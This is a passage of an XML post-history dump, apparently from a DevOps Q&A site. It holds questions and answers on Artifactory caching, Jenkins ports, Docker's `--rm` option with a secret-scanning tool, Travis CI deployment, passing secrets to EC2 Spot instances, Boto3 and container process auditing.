[audit plugin](https://dev.mysql.com/doc/refman/5.5/en/audit-log.html) which may answer the problem of letting your devs access the database and fulfill your CISO requirements of keeping track of what is done.&#xD;&#xA;&#xD;&#xA;If you have more than just Mysql DB and need to audit their access, configuring each system to audit log users actions and not application actions could be cumbersome. Keeping the things closed could be even worse, one dev will one day integrate a DB shell in an application to circumvent this road block and it will eventually go live in production without proper access control and expose all datas, I strongly advise you to ask your company to review this policy.&#xD;&#xA;&#xD;&#xA;There's one commercial solution that I know which can help (and allow auditing more than just DB requests) which is [strongDM](https://strongdm.com/docs/architecture/), it also allow to audit ssh and rdp sessions, as if your devs needs access to DB, they probably also need access to the machines hosting the applications for debugging purposes." ContentLicense="CC BY-SA 4.0" />
  <row Id="20469" PostHistoryTypeId="2" PostId="6426" RevisionGUID="15053e7e-91a1-4d9c-aba8-03de10623277" CreationDate="2019-02-20T15:59:27.440" UserId="11645" Text="In order Artifactory to cache your dependencies, you need to retrieve them from Artifactory. Once you use your virtual repository, which contains the Maven Central remote, Artifactory will download the dependencies from Maven Central and will cache them for the future use.&#xD;&#xA;&#xD;&#xA;So, here's what you need to do in order to populate Artifactory with your dependencies:&#xD;&#xA;&#xD;&#xA; 1. Make sure that your virtual repository contains Maven Central or JCenter remotes.&#xD;&#xA; 2. Configure your Maven to work with Artifactory ([The &quot;Set Me Up&quot; button in the Artifactory UI][1])&#xD;&#xA; 3. Delete the `~/.m2/repositories` cache&#xD;&#xA; 4. Run your build again.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Using+Artifactory#UsingArtifactory-SetMeUp" ContentLicense="CC BY-SA 4.0" />
  <row Id="20470" PostHistoryTypeId="5" PostId="6296" RevisionGUID="6b5deac5-c463-42ba-962e-8c13f8a4bd68" CreationDate="2019-02-20T17:06:10.067" UserId="11645" Comment="grammar, clarifications, capitalization of product name" Text="I have the following repositories structure created in my newly installed Artifactory instance. And we are using this artifactory instance to store the maven artifacts. Most of our projects are in Java and we use maven as the build tool. As this is a new installation our .m2 repository cache is empty and when we did our initial 'mvn compile' it has downloaded all the dependencies from Maven Central [repository][1] and placed the dependencies under .m2 cache but not in our artifactory instance.&#xD;&#xA;&#xD;&#xA;According to our understanding, we thought if the dependencies are not available in Artifactory server then it downloads from a public repository and then it keeps a copy in Artifactory server and also in a local .m2 cache. Is that how it works? When the dependencies are downloaded from public repository we also wanted to have that available in our artifactory server so that when a maven is installed in a new machine then it should get that dependency from our Artifactory server itself. Is that possible?&#xD;&#xA;&#xD;&#xA;Here's the list of our repositories:&#xD;&#xA;&#xD;&#xA;    Local&#xD;&#xA;     - wellows&#xD;&#xA;    Remote&#xD;&#xA;     - wellows-remote&#xD;&#xA;    Virtual&#xD;&#xA;     - wellows-virtual&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://repo.maven.apache.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="20471" PostHistoryTypeId="4" PostId="6296" RevisionGUID="6b5deac5-c463-42ba-962e-8c13f8a4bd68" CreationDate="2019-02-20T17:06:10.067" UserId="11645" Comment="grammar, clarifications, capitalization of product name" Text="Maven dependencies that are downloaded not available in JFrog Artifactory server" ContentLicense="CC BY-SA 4.0" />
  <row Id="20472" PostHistoryTypeId="24" PostId="6296" RevisionGUID="6b5deac5-c463-42ba-962e-8c13f8a4bd68" CreationDate="2019-02-20T17:06:10.067" Comment="Proposed by 11645 approved by -1 edit id of 947" ContentLicense="CC BY-SA 4.0" />
  <row Id="20473" PostHistoryTypeId="5" PostId="6296" RevisionGUID="eb928c02-634c-43c4-a2ef-46ea3dcd7c84" CreationDate="2019-02-20T17:06:10.067" UserId="40" Comment="edited body" Text="I have the following repositories structure created in my newly installed Artifactory instance. And we are using this artifactory instance to store the Maven artifacts. Most of our projects are in Java and we use Maven as the build tool. As this is a new installation our .m2 repository cache is empty and when we did our initial 'mvn compile' it has downloaded all the dependencies from Maven Central [repository][1] and placed the dependencies under .m2 cache but not in our artifactory instance.&#xD;&#xA;&#xD;&#xA;According to our understanding, we thought if the dependencies are not available in Artifactory server then it downloads from a public repository and then it keeps a copy in Artifactory server and also in a local .m2 cache. Is that how it works? When the dependencies are downloaded from public repository we also wanted to have that available in our artifactory server so that when a Maven is installed in a new machine then it should get that dependency from our Artifactory server itself. Is that possible?&#xD;&#xA;&#xD;&#xA;Here's the list of our repositories:&#xD;&#xA;&#xD;&#xA;    Local&#xD;&#xA;     - wellows&#xD;&#xA;    Remote&#xD;&#xA;     - wellows-remote&#xD;&#xA;    Virtual&#xD;&#xA;     - wellows-virtual&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://repo.maven.apache.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="20475" PostHistoryTypeId="50" PostId="6054" RevisionGUID="2e95c269-ffdd-4c11-bf02-2eafd685054b" CreationDate="2019-02-20T21:00:55.130" UserId="-1" />
  <row Id="20476" PostHistoryTypeId="2" PostId="6427" RevisionGUID="f4713484-9ab2-45a7-b3b7-649109ce5d05" CreationDate="2019-02-20T23:46:17.717" UserId="12531" Text="Jenkins is designed to not be affected by restarts. From my experience, it's possible that a build might fail due to a restart, but they are rare.&#xD;&#xA;&#xD;&#xA;Where I work we used to have to restart Jenkins regularly. We have every kind of job you can imagine, some small, some huge. Only once did we see a build fail where a pickle was not being rehydrated.&#xD;&#xA;&#xD;&#xA;After that, we always do safe restarts now. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20483" PostHistoryTypeId="50" PostId="6058" RevisionGUID="d9b4b0ab-3055-423f-a50d-62c499c756ab" CreationDate="2019-02-21T07:01:20.267" UserId="-1" />
  <row Id="20484" PostHistoryTypeId="2" PostId="6430" RevisionGUID="63bf8a87-cec1-473a-85a8-bd5661587cc5" CreationDate="2019-02-21T08:20:35.717" UserId="10550" Text="I install Jenkins on a Ubuntu 18.04 ec2 instance by following its official guide.&#xD;&#xA;&#xD;&#xA;I want to change Jenkins from port 8080 (default) to port 80.&#xD;&#xA;&#xD;&#xA;According to its official document:&#xD;&#xA;&#xD;&#xA;&gt; If your /etc/init.d/jenkins file fails to start Jenkins, edit the /etc/default/jenkins to replace the line ----HTTP_PORT=8080---- with ----HTTP_PORT=8081---- Here, &quot;8081&quot; was chosen but you can put another port available.&#xD;&#xA;&#xD;&#xA;I managed to changed it to port 8081 but when I used port 80, it simply doesn't work:&#xD;&#xA;&#xD;&#xA;`curl -i localhost:80` returns `connection refused`&#xD;&#xA;&#xD;&#xA;`sudo systemctl status jenkins` gives &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;jenkins.service - LSB: Start Jenkins at boot time&#xD;&#xA;   Loaded: loaded (/etc/init.d/jenkins; generated)&#xD;&#xA;   Active: active (exited) since Thu 2019-02-21 08:14:55 UTC; 4min 12s ago&#xD;&#xA;     Docs: man:systemd-sysv-generator(8)&#xD;&#xA;  Process: 6143 ExecStop=/etc/init.d/jenkins stop (code=exited, status=0/SUCCESS)&#xD;&#xA;  Process: 6212 ExecStart=/etc/init.d/jenkins start (code=exited, status=0/SUCCESS)&#xD;&#xA;&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 systemd[1]: Starting LSB: Start Jenkins at boot time...&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 jenkins[6212]: Correct java version found&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 jenkins[6212]:  * Starting Jenkins Automation Server jenkins&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 su[6257]: Successful su for jenkins by root&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 su[6257]: + ??? root:jenkins&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 su[6257]: pam_unix(su:session): session opened for user jenkins by (uid=0)&#xD;&#xA;Feb 21 08:14:54 ip-172-31-11-10 su[6257]: pam_unix(su:session): session closed for user jenkins&#xD;&#xA;Feb 21 08:14:55 ip-172-31-11-10 jenkins[6212]:    ...done.&#xD;&#xA;Feb 21 08:14:55 ip-172-31-11-10 systemd[1]: Started LSB: Start Jenkins at boot time.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am sure nothing runs on port 80.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20485" PostHistoryTypeId="1" PostId="6430" RevisionGUID="63bf8a87-cec1-473a-85a8-bd5661587cc5" CreationDate="2019-02-21T08:20:35.717" UserId="10550" Text="Change Jenkins' port to 80" ContentLicense="CC BY-SA 4.0" />
  <row Id="20486" PostHistoryTypeId="3" PostId="6430" RevisionGUID="63bf8a87-cec1-473a-85a8-bd5661587cc5" CreationDate="2019-02-21T08:20:35.717" UserId="10550" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20487" PostHistoryTypeId="2" PostId="6431" RevisionGUID="5d6f92d0-61b7-44f6-ad67-649530065bb2" CreationDate="2019-02-21T13:07:44.057" UserId="12545" Text="I'm running [git-all-secrets][1] over our organisation to ensure we have nothing exposed. I'm doing this using:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo docker run --rm -it abhartiya/tools_gitallsecrets -org &lt;org&gt; -output /root/output.txt -thogEntropy -token &lt;githubtoken&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've monitored the events for this repository, and after the command completes, the following events fire:&#xD;&#xA;```&#xD;&#xA;2019-02-21T13:01:36.386539368Z container die cc479e7ac878f39c1e555eea1cbc9105dc06e21a526639975cd15f031297ab23 (exitCode=0, image=abhartiya/tools_gitallsecrets, name=inspiring_bell)&#xD;&#xA;2019-02-21T13:01:36.602243215Z network disconnect 26b5a225be28b13153e587c4d1464361957ac899bc1a4152c6ae5aacc3229a0f (container=cc479e7ac878f39c1e555eea1cbc9105dc06e21a526639975cd15f031297ab23, name=bridge, type=bridge)&#xD;&#xA;2019-02-21T13:01:37.235130059Z container destroy cc479e7ac878f39c1e555eea1cbc9105dc06e21a526639975cd15f031297ab23 (image=abhartiya/tools_gitallsecrets, name=inspiring_bell)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Since the container is  then destroyed, I can't then copy the file locally after exection by using:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;a@ubuntu-s-2v-2-01:~$ sudo docker cp cc479e7ac878:/root/output.txt ./output.txt                                                                                                                     │ 0 -rw-r--r-- 1 codingo codingo     0 Dec 19 04:49 .sudo_as_admin_successful&#xD;&#xA;Error: No such container:path: cc479e7ac878:/root/output.txt                         &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm still new to docker, so I'm not sure what the solution to my problem is - but how can I have  the docker contain&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/anshumanbh/git-all-secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="20488" PostHistoryTypeId="1" PostId="6431" RevisionGUID="5d6f92d0-61b7-44f6-ad67-649530065bb2" CreationDate="2019-02-21T13:07:44.057" UserId="12545" Text="How to stop a container dying at the end of an execution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20489" PostHistoryTypeId="3" PostId="6431" RevisionGUID="5d6f92d0-61b7-44f6-ad67-649530065bb2" CreationDate="2019-02-21T13:07:44.057" UserId="12545" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20499" PostHistoryTypeId="2" PostId="6435" RevisionGUID="2f4e6e0d-ce31-46ed-987e-5760000099d4" CreationDate="2019-02-21T15:27:56.347" UserId="12543" Text="Option `--rm` tells Docker explicitly to remove the container after the (main) command finished. Just leave it out.&#xD;&#xA;&#xD;&#xA;Note that none of [the examples](https://github.com/anshumanbh/git-all-secrets#scanning-an-organization-team) contain this option; they only use it for `-help`." ContentLicense="CC BY-SA 4.0" />
  <row Id="20500" PostHistoryTypeId="2" PostId="6436" RevisionGUID="e19e8e51-86b1-4a68-b0b3-d49b8e7fb5ee" CreationDate="2019-02-21T16:53:37.390" UserId="707" Text="In the API documentation for Apache Cloud Stack for example, they put an (A) to designate asynchronous API calls.&#xD;&#xA;&#xD;&#xA;In the Boto3 - Python client API for AWS - documentation as I can't see anything like this - so my question is whether its API is asynchronous or not.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20501" PostHistoryTypeId="1" PostId="6436" RevisionGUID="e19e8e51-86b1-4a68-b0b3-d49b8e7fb5ee" CreationDate="2019-02-21T16:53:37.390" UserId="707" Text="Are AWS Boto3 calls asynchronous?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20502" PostHistoryTypeId="3" PostId="6436" RevisionGUID="e19e8e51-86b1-4a68-b0b3-d49b8e7fb5ee" CreationDate="2019-02-21T16:53:37.390" UserId="707" Text="&lt;amazon-web-services&gt;&lt;python&gt;&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20506" PostHistoryTypeId="5" PostId="6435" RevisionGUID="93bf2617-a9ec-4566-8881-ad1ff91827ff" CreationDate="2019-02-21T19:14:06.690" UserId="12543" Comment="adds alternative using mounts" Text="Option `--rm` tells Docker explicitly to remove the container after the (main) command finished. Just leave it out.&#xD;&#xA;&#xD;&#xA;Note that none of [the examples](https://github.com/anshumanbh/git-all-secrets#scanning-an-organization-team) contain this option; they only use it for `-help`.&#xD;&#xA;&#xD;&#xA;As an alternative (which lets you keep `--rm`), you can tell Docker to [mount a volume](https://docs.docker.com/storage/volumes/) at `/root`. Volumes persist after the containers mounting them go away, so you can access the data written there. However, for your purposes here, a simple [bind mount](https://docs.docker.com/storage/bind-mounts/) is quite enough; add&#xD;&#xA;&#xD;&#xA;	-v .:/root&#xD;&#xA;&#xD;&#xA;to have it write the output file to the current (host) directory. You may have to adjust this if `/root` is used heavily; you probably want to use a previously empty directory on both sides." ContentLicense="CC BY-SA 4.0" />
  <row Id="20508" PostHistoryTypeId="2" PostId="6438" RevisionGUID="00c5f841-c458-4ebe-9a4e-7b56240f3ed7" CreationDate="2019-02-21T22:06:17.810" UserId="6282" Text="I added some AWS keys to my `.travis.yml` file so that it would deploy my application over to ElasticBeanstalk, but after I committed the changes to the file and pushed to master, nothing happened.&#xD;&#xA;&#xD;&#xA;I thought perhaps I needed to restart build. This added my AWS keys, but no installation of deployment dependencies as I had expected and no deployment to AWS.&#xD;&#xA;&#xD;&#xA;Not sure what happened here. Did I not wait long enough for TravisCI to start the new build?&#xD;&#xA;&#xD;&#xA;This is my `.travis.yml` file:&#xD;&#xA;&#xD;&#xA;    sudo: required&#xD;&#xA;    services:&#xD;&#xA;      - docker&#xD;&#xA;    &#xD;&#xA;    before_install:&#xD;&#xA;      - docker build -t danale/project-name -f Dockerfile.dev .&#xD;&#xA;    &#xD;&#xA;    script:&#xD;&#xA;      - docker run danale/project-name npm run test -- --coverage&#xD;&#xA;    &#xD;&#xA;      deploy:&#xD;&#xA;        provider: elasticbeanstalk&#xD;&#xA;        region: &quot;us-east-1&quot;&#xD;&#xA;        app: &quot;project-name&quot;&#xD;&#xA;        env: &quot;ProjectName-env&quot;&#xD;&#xA;        bucket_name: &quot;elasticbeanstalk-us-east-1-123456789&quot;&#xD;&#xA;        bucket_path: &quot;project-name&quot;&#xD;&#xA;        on:&#xD;&#xA;          branch: master&#xD;&#xA;        access_key_id: $AWS_ACCESS_KEY&#xD;&#xA;        secret_access_key: &#xD;&#xA;          secure: &quot;$AWS_SECRET_KEY&quot;&#xD;&#xA;&#xD;&#xA;I conducted a `git add . &amp;&amp; git commit -m &quot;added travis deploy script&quot; &amp;&amp; git push origin master`&#xD;&#xA;&#xD;&#xA;No deployment afterwards. I don't see where I missed a step here:&#xD;&#xA;https://docs.travis-ci.com/user/deployment/elasticbeanstalk/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20509" PostHistoryTypeId="1" PostId="6438" RevisionGUID="00c5f841-c458-4ebe-9a4e-7b56240f3ed7" CreationDate="2019-02-21T22:06:17.810" UserId="6282" Text="TravisCI did not run after adding more configuration to .travis.yml file" ContentLicense="CC BY-SA 4.0" />
  <row Id="20510" PostHistoryTypeId="3" PostId="6438" RevisionGUID="00c5f841-c458-4ebe-9a4e-7b56240f3ed7" CreationDate="2019-02-21T22:06:17.810" UserId="6282" Text="&lt;amazon-web-services&gt;&lt;git&gt;&lt;github&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20511" PostHistoryTypeId="2" PostId="6439" RevisionGUID="79d49ca2-b1b7-4737-842f-cecdd0a57eef" CreationDate="2019-02-21T22:49:13.430" UserId="6282" Text="One of the headaches of `.yml` files is the indentation. So the parse error I was getting in the Request tab was saying no newline added. I was not clear whether that meant it needed a new line or was missing a new line, but by running: `wc -l .travis.yml` I was able to detect that it was not outputting the correct number of lines.&#xD;&#xA;&#xD;&#xA;I tried about five different ways to format the `.yml` file allowing it to keep me focused towards the end of the files line number where the error was pointing towards.&#xD;&#xA;&#xD;&#xA;I happen to look up and realized the beginning of the deploy: script was not properly aligned, so I adjusted with a shift+tab and after I got it properly aligned, TravisCI recognized my changes and properly ran the script and successfully deployed the application to Elasticbeanstalk." ContentLicense="CC BY-SA 4.0" />
  <row Id="20515" PostHistoryTypeId="2" PostId="6441" RevisionGUID="07e9e7e8-1a2c-434d-980b-7e0321f7a0e1" CreationDate="2019-02-22T06:15:58.683" UserId="12563" Text="Right now, we only use EC2 on-demand instances, and we provision sensitive data (credentials, private keys, etc.) on the instances' EBS which are encrypted with a KMS key.&#xD;&#xA;&#xD;&#xA;My understanding is that I have a few ways to pass those secret data to Spot instances:&#xD;&#xA;&#xD;&#xA;* Burn them in an encrypted AMI (but then, what about host-specific stuff, like SSH server private keys?)&#xD;&#xA;* Pass then as UserData when we call RunInstances (but then we would need to encrypt those data, and decrypt them with a secret burnt in the AMI)&#xD;&#xA;* Use Secrets Manager, but that could quickly cost a lot...&#xD;&#xA;* Use Parameter Store, and encrypt the payload with a KMS key (lot of engineering there)&#xD;&#xA;&#xD;&#xA;And I am not sure I could individually identify spot instances?&#xD;&#xA;&#xD;&#xA;Am I missing something there? How do you solve those challenges?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20516" PostHistoryTypeId="1" PostId="6441" RevisionGUID="07e9e7e8-1a2c-434d-980b-7e0321f7a0e1" CreationDate="2019-02-22T06:15:58.683" UserId="12563" Text="How to security pass sensitive data to EC2 Spot instances?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20517" PostHistoryTypeId="3" PostId="6441" RevisionGUID="07e9e7e8-1a2c-434d-980b-7e0321f7a0e1" CreationDate="2019-02-22T06:15:58.683" UserId="12563" Text="&lt;amazon-ec2&gt;&lt;security&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20526" PostHistoryTypeId="4" PostId="6441" RevisionGUID="1e4c26ad-1c69-4fce-86a4-8c5088f9b5cd" CreationDate="2019-02-22T10:50:49.713" UserId="47" Comment="improved readability " Text="How to securely pass sensitive data to EC2 Spot instances?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20527" PostHistoryTypeId="5" PostId="6441" RevisionGUID="1e4c26ad-1c69-4fce-86a4-8c5088f9b5cd" CreationDate="2019-02-22T10:50:49.713" UserId="47" Comment="improved readability " Text="Right now, we only use EC2 on-demand instances, and we provision sensitive data (credentials, private keys, etc.) on the instances' EBS which are encrypted with a KMS key.&#xD;&#xA;&#xD;&#xA;My understanding is that I have a few ways to pass those secret data to Spot instances:&#xD;&#xA;&#xD;&#xA;* Burn them in an encrypted AMI (but then, what about host-specific stuff, like SSH server private keys?)&#xD;&#xA;* Pass them as UserData when we call RunInstances (but then we would need to encrypt those data, and decrypt them with a secret burnt in the AMI)&#xD;&#xA;* Use Secrets Manager, but that could quickly cost a lot...&#xD;&#xA;* Use Parameter Store, and encrypt the payload with a KMS key (lot of engineering there)&#xD;&#xA;&#xD;&#xA;And I am not sure I could individually identify spot instances?&#xD;&#xA;&#xD;&#xA;Am I missing something there? How do you solve those challenges?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20528" PostHistoryTypeId="5" PostId="6441" RevisionGUID="30b4d41b-268f-40e5-83b9-37a2c519dbf8" CreationDate="2019-02-22T11:51:00.837" UserId="12563" Comment="added 45 characters in body" Text="Right now, we only use EC2 on-demand instances, and we provision sensitive data (credentials, private keys, etc.) on the instances' EBS which are encrypted with a KMS key.&#xD;&#xA;&#xD;&#xA;My understanding is that I have a few ways to pass those secret data to Spot instances:&#xD;&#xA;&#xD;&#xA;* Burn them in an encrypted AMI (but then, what about host-specific stuff, like SSH server private keys?)&#xD;&#xA;* Pass them as UserData when we call RunInstances (but then we would need to encrypt those data, and decrypt them with a secret burnt in the AMI)&#xD;&#xA;* Use Secrets Manager, but that could quickly cost a lot...&#xD;&#xA;* Use Parameter Store, and encrypt the payload with a KMS key (1 shared key for shared data + 1 key per node for node specific data?)&#xD;&#xA;&#xD;&#xA;And I am not sure I could individually identify spot instances?&#xD;&#xA;&#xD;&#xA;Am I missing something there? How do you solve those challenges?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20533" PostHistoryTypeId="2" PostId="6443" RevisionGUID="171239e0-e57f-4580-a7d5-c11a357ecce9" CreationDate="2019-02-22T13:37:42.763" UserId="13" Text="Boto3 is a client for AWS API, so by definition it doesn't handle the synchronous or asynchronous behavior of the API call, that's the API endpoint which define that.&#xD;&#xA;&#xD;&#xA;You can safely assume that any API endpoint marked as asynchronous will be asynchronous in any API client. Some SDK implement methods to wait for those asynchronous calls, some don't and you need to write your own handling (usually polling regularly the state) if you need to wait the end of a task started by an API call (creating a CloudFormation stack for exemple)." ContentLicense="CC BY-SA 4.0" />
  <row Id="20535" PostHistoryTypeId="2" PostId="6444" RevisionGUID="fb15ad31-3c88-49ef-8708-fbc3d01867a8" CreationDate="2019-02-22T14:22:03.560" UserId="503" Text="When you're running ephemeral workloads like you would on a spot instance the best bet, if you don't want to bake an ami, is going to be a secret store of some kind.&#xD;&#xA;&#xD;&#xA;The two most common methods I've seen for doing this are:&#xD;&#xA;&#xD;&#xA;1. If your provisioning tool ([terraform][1], [cloudformation][2], [salt cloud][3]) allows it then you can create a kms key and use it to encrypt secrets in user data. Once the instance has started it can decrypt them using that key.&#xD;&#xA;&#xD;&#xA;2. You can use a secret store like you mentioned. You said that AWS Secrets Manager would get pricey so you're probably going to want to use [Vault][4]. It's not _that_ hard to set up and can use IAM permissions to allow your instances access to secrets. Using it also opens other avenues to doing secret storage right.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/kms_key.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-kms-key.html&#xD;&#xA;  [3]: https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.boto_kms.html&#xD;&#xA;  [4]: https://www.vaultproject.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20536" PostHistoryTypeId="2" PostId="6445" RevisionGUID="8b6c4490-0f52-4ac1-add3-13869aef2342" CreationDate="2019-02-22T20:12:05.590" UserId="12577" Text="for I've read numerous articles on this going back to 2013, but what I wasn't able to ascertain is whether a reliable method has yet been devised for auditing processes inside a container. This question applies primarily to Linux, as I'm not very familiar with containerization on other platforms. &#xD;&#xA;&#xD;&#xA;The problem is essentially this: How to track operations such as Linux system calls back to the user who created the container? &#xD;&#xA;&#xD;&#xA;With Docker, that information is lost because the container is started by a daemon, and Docker doesn't have an authentication mechanism in place for identifying the user.&#xD;&#xA;&#xD;&#xA;Podman takes the approach of creating a container as a process fork, rather than using a client/daemon, which preserves the loginuid, but what about across a cluster. &#xD;&#xA;&#xD;&#xA;Kubernetes has auditing functionality, but I haven't been able to determine from the documentation whether that applies to processes running in containers, or only to K8s API calls. &#xD;&#xA;&#xD;&#xA;It's seems like it would be possible to do this by:&#xD;&#xA;&#xD;&#xA;1 - Require a user to authenticate when starting a container.&#xD;&#xA;&#xD;&#xA;2 - Send the user name when starting the container on each node.&#xD;&#xA;&#xD;&#xA;3 - Preserve the user ID in a process attribute. &#xD;&#xA;&#xD;&#xA;For `2`, to work, the user would have to be known to each host, and not just the container daemon.&#xD;&#xA;&#xD;&#xA;A trivial case of `3`, would be for the user in the container to have the same UID, and the authorization stage could enforce that. But that's pretty limiting.  &#xD;&#xA;&#xD;&#xA;Has anyone managed to address this successfully, or is it still an open issue? Either a global solution, or for a particular containerization technology/orchestrator. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20537" PostHistoryTypeId="1" PostId="6445" RevisionGUID="8b6c4490-0f52-4ac1-add3-13869aef2342" CreationDate="2019-02-22T20:12:05.590" UserId="12577" Text="Process auditing in containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="20538" PostHistoryTypeId="3" PostId="6445" RevisionGUID="8b6c4490-0f52-4ac1-add3-13869aef2342" CreationDate="2019-02-22T20:12:05.590" UserId="12577" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;audit&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20540" PostHistoryTypeId="2" PostId="6446" RevisionGUID="ac4e08f8-665d-426b-900c-eae707946c4f" CreationDate="2019-02-23T23:01:30.223" UserId="6806" Text="Assuming you are okay with moving your Jenkins(and settings) to a docker environment, you can do the following. This would give you the advantage to change ports(and manage jenkins) with greater ease in the future without ever to touch IP tables or load balancers.&#xA;&#xA;Host your Jenkins on a docker container and map the port 80 on your docker host daemon to 8080 on the container.&#xA;&#xA;You can find the latest jenkins docker image here - https://hub.docker.com/_/jenkins &#xA;&#xA;Install docker daemon and download the image using&#xA;`docker pull jenkins`&#xA;&#xA;&#xA;You can use docker run command to start jenkins along with the -p argument to supply port values.&#xA;&#xA;For instance, you are hosting your docker daemon on 10.10.169.69, then you use this to start Jenkins&#xA;`docker run -t container_tag -p 80:8080 image_name`&#xA;&#xA;And then to browse jenkins, use http://10.10.169.69:80/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20541" PostHistoryTypeId="2" PostId="6447" RevisionGUID="7dc1cb1b-a10c-438e-ac51-77d37a45fe53" CreationDate="2019-02-23T23:10:23.973" UserId="12587" Text="Considering you say you want to build an image (and not push it to Docker hub or wherever):&#xD;&#xA;&#xD;&#xA;[docker-maven-plugin][1] project recommends using [dockerfile-maven][2] for new projects, as the former&#xD;&#xA;&#xD;&#xA;&gt; [...] ultimately led to a lot of unnecessary confusion with our users that stemmed from introducing extra abstractions and a need for configuration on top of what Docker is providing.&#xD;&#xA;&#xD;&#xA;The dockerfile-maven `README` should get you started, with both a sample `Dockerfile` and  the relevant `plugin` section for your `pom.xml`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/spotify/docker-maven-plugin&#xD;&#xA;  [2]: https://github.com/spotify/dockerfile-maven" ContentLicense="CC BY-SA 4.0" />
  <row Id="20542" PostHistoryTypeId="2" PostId="6448" RevisionGUID="d0a1951a-23a9-441b-ab9e-7b3cb5a0e60b" CreationDate="2019-02-23T23:41:58.300" UserId="6806" Text="Most companies adopting DevOps practices often create teams with a combination of software engineers and operations engineers, thus creating DevOps teams. Although, i don't completely agree with this approach, I've heard it does help for adopting DevOps in large organizations.&#xA;The responsibility for both these different (yet similar in many areas) guys is to embrace the DevOps culture and work in the best interest to make up for the missing skills in the other guy.&#xA;&#xA;**For the systems engineer, this would mean that you will apply your current skill set in systems administration for managing infrastructure in a way that's it's helpful for the software engineers to making automated programs for creating processes for efficiently building and releasing software.**&#xA;&#xA;Having said that, the efforts for both the guys should be to share each others' skills to become a beacon for the rest of the organization to adopt a stable DevOps culture.&#xA;&#xA;In an ideal world, everyone in the Product development and operations should be practicing DevOps.&#xA;&#xA;Hope this clarifies your query to some extent." ContentLicense="CC BY-SA 4.0" />
  <row Id="20543" PostHistoryTypeId="5" PostId="6446" RevisionGUID="74909503-18ea-43b5-933a-6278d350bcc8" CreationDate="2019-02-24T00:23:40.903" UserId="6806" Comment="added 7 characters in body" Text="Assuming you are okay with moving your Jenkins(and settings) to a docker environment, you can do the following. This would give you the advantage to change ports(and manage jenkins) with greater ease in the future without ever having to touch IP tables or load balancers.&#xA;&#xA;Host your Jenkins on a docker container and map the port 80 on your docker host daemon to 8080 on the container.&#xA;&#xA;You can find the latest jenkins docker image here - https://hub.docker.com/_/jenkins &#xA;&#xA;Install docker daemon and download the image using&#xA;`docker pull jenkins`&#xA;&#xA;&#xA;You can use docker run command to start jenkins along with the -p argument to supply port values.&#xA;&#xA;For instance, you are hosting your docker daemon on 10.10.169.69, then you use this to start Jenkins&#xA;`docker run -t container_tag -p 80:8080 image_name`&#xA;&#xA;And then to browse jenkins, use http://10.10.169.69:80/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20550" PostHistoryTypeId="2" PostId="6450" RevisionGUID="caa716c7-5149-42a5-b81a-a8b6dbdca3ac" CreationDate="2019-02-24T11:26:59.973" UserId="10" Text="I recently read &quot;Cloud Native DevOps with Kubernetes&quot; by O'reily and it mentions the RED and USE metrics which are a good starting point for gaining better observability into the system, however I'm having a hard time finding any information online about how to actually go about generating those metrics outside of re-inventing the wheel for each service.&#xD;&#xA;&#xD;&#xA;Is there a set of libraries to actually generate RED and USE metrics within the application?  Or do we have to create a set of utilities for each language and each service independently?&#xD;&#xA;&#xD;&#xA;Also, are there known solutions for sending CrashLoopBack or Pending pod metrics to Prometheus or do these also need to be reinvented in house?" ContentLicense="CC BY-SA 4.0" />
